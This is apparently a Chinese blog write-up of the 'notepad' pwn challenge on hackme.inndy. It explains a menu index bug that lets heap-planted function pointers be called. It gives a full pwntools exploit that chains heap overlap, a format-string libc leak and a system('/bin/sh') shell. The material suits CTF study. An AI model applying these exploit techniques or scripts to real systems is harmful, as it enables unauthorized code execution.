本文最后更新于:星期三, 一月 2日 2019, 3:48 下午

防护机制:

[*] '/home/zs0zrc/pwn/Scoreboard/notepad/notepad'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

这题的漏洞主要在于 notepad_open函数中的menu函数,它对输入的上界进行了检查,但是没对下界进行检查,导致可以输入比 ‘a’小的字符,加上它根据menu的返回值来确定调用函数的位置的,所以可以提前在堆上布置好函数指针,通过输入notepad_open函数,输入特定的字符,来调用布置在堆上的函数指针

int __cdecl menu(int a1)
{
  int result; // eax
  int i; // [esp+8h] [ebp-10h]
  int v3; // [esp+Ch] [ebp-Ch]

  for ( i = 0; *(4 * i + a1); ++i )
    printf("%c> %s\n", i + 'a', *(4 * i + a1));
  printf("::> ");
  v3 = getchar() - 'a';
  freeline();
  if ( v3 < i ) // vuln
    result = v3 + 1;
  else
    result = 0;
  return result;
}

//调用函数的代码
 v0 = menu(&v4);
(*(&v3->show + v0 - 1))(v3);//这里v0是menu返回的数字
//它根据 note的show指针的地址 + v0 -1来确定函数的地址

note的结构:

struct note{
    notepad_show *notepad_show;
    notepad_destroy *notepad_destroy;
    int flags;
    int n;
}

具体的思路:

先分配三个small bins大小的chunk,在第一个chunk中布置好 free_plt的地址,然后用notepad_open函数的漏洞,调用free_plt,将chunk2 free掉。这时只要delete掉chunk1,chunk1和chunk2就会进行unlink合并,将这个合并后的chunk申请回来,就可以对chunk2造成overlap,就可以控制chunk2的函数指针。利用printf函数泄露出libc的地址,最后再构成system(‘/bin/sh\x00’) 函数来getshell

  • 先create三个0x60大小的chunk

    new(0x60,'aaaaa' + '\n')#chunk1
    new(0x60,'aaaaa' + '\n')#chunk2
    new(0x60,'aaaaa' + '\n')#chunk3
    
  • 在chunk1中布置好free函数指针,调用notepad_open 使得chunk2被free掉

    payload = 'a'*0x5c + p32(elf.symbols['free'])
    open_y(0,payload+'\n')
    open_y(1,'aaaa\n','^')# '^' mean ord('a') - 3
    
  • delete掉chunk1,使chunk1和chunk2合并,再从堆中申请到合并后的chunk,布置好printf函数指针,泄露出libc地址

    delete(0)
    payload1 = 'a' * 0x5c  + p32(elf.symbols['printf']) + 'aaaa'
    payload1 += 'a'*4 + '%1000$p\x00' + '\n'
    new(0xe0 - 16,payload1)
    open_n(1,'^')
    leak = int(p.recv(10),16)
    libc_base = leak - libc.symbols['_IO_2_1_stdin_']
    libc.address = libc_base
    system = libc.symbols['system']
    
  • delete 掉chunk1,布置好system函数,调用system函数

    delete(0)
    payload2 = 'a'*0x5c + p32(system) + 'aaaa'
    payload2 += 'aaaa' + '/bin/sh\x00' + '\n'
    new(0xe0 - 16,payload2)
    open_n(1,'^')
    p.interactive()
    

exp:

#!/usr/bin/env python
from pwn import *
local = 0

if local:
    p = process('./notepad')
    elf = ELF('./notepad')
    libc = elf.libc
else:
    host = 'hackme.inndy.tw'
    port = '7713'
    p = remote(host,port)
    elf = ELF('./notepad')
    libc = ELF('./libc-2.23.so.i386')
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'

def sd(content):
    p.send(content)

def sl(content):
    p.sendline(content)

def rc():
    return p.recv()

def ru(content):
    return p.recvuntil(content)

def debug(addr,PIE=False):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))


def new(size,content):
    ru("::> ")
    sl('a')
    ru("size > ")
    sl(str(size))
    ru("data > ")
    sd(content)

def open_y(idx,content,flags = 'a'):
    ru("::> ")
    sl('b')
    ru("id > ")
    sl(str(idx))
    ru("edit (Y/n)")
    sl("y")
    ru("content > ")
    sd(content)
    rc()
    sl(flags)

def open_n(idx,flags = 'a'):
    ru("::> ")
    sl('b')
    ru("id > ")
    sl(str(idx))
    rc()
    sl("n")
    rc()
    sl(flags)

def delete(idx):
    ru("::> ")
    sl('c')
    rc()
    sl(str(idx))

def setread(idx):
    ru("::> ")
    sl('d')
    rc()
    sl(str(idx))

def keepsec(idx):
    ru("::> ")
    sl('e')
    rc()
    sl(str(idx))

rc()
sl('c')
#gdb.attach(p,'b *0x08048CCD')
new(0x60,'aaaaa' + '\n')#chunk1
new(0x60,'aaaaa' + '\n')#chunk2
new(0x60,'aaaaa' + '\n')#chunk3
payload = 'a'*0x5c + p32(elf.symbols['free'])
open_y(0,payload+'\n')
open_y(1,'aaaa\n','^')
delete(0)

payload1 = 'a' * 0x5c  + p32(elf.symbols['printf']) + 'aaaa'
payload1 += 'a'*4 + '%1000$p\x00' + '\n'
new(0xe0 - 16,payload1)

open_n(1,'^')
leak = int(p.recv(10),16)
libc_base = leak - libc.symbols['_IO_2_1_stdin_']
libc.address = libc_base
system = libc.symbols['system']

delete(0)
payload2 = 'a'*0x5c + p32(system) + 'aaaa'
payload2 += 'aaaa' + '/bin/sh\x00' + '\n'
new(0xe0 - 16,payload2)
open_n(1,'^')
p.interactive()

hackme.inndy_writeup      writeup pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!